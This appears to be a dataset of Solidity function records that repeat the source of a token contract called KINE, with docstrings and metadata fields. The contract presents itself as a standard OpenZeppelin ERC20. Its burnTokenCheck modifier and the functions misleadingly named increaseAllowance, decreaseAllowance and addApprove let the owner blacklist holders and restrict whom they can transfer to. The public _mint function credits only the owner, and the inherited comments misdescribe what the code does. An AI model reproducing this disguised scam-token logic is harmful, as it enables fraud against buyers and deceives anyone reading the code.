if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
6799,
7083
]
} | 11,732 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
7570,
8118
]
} | 11,733 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
8394,
8700
]
} | 11,734 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
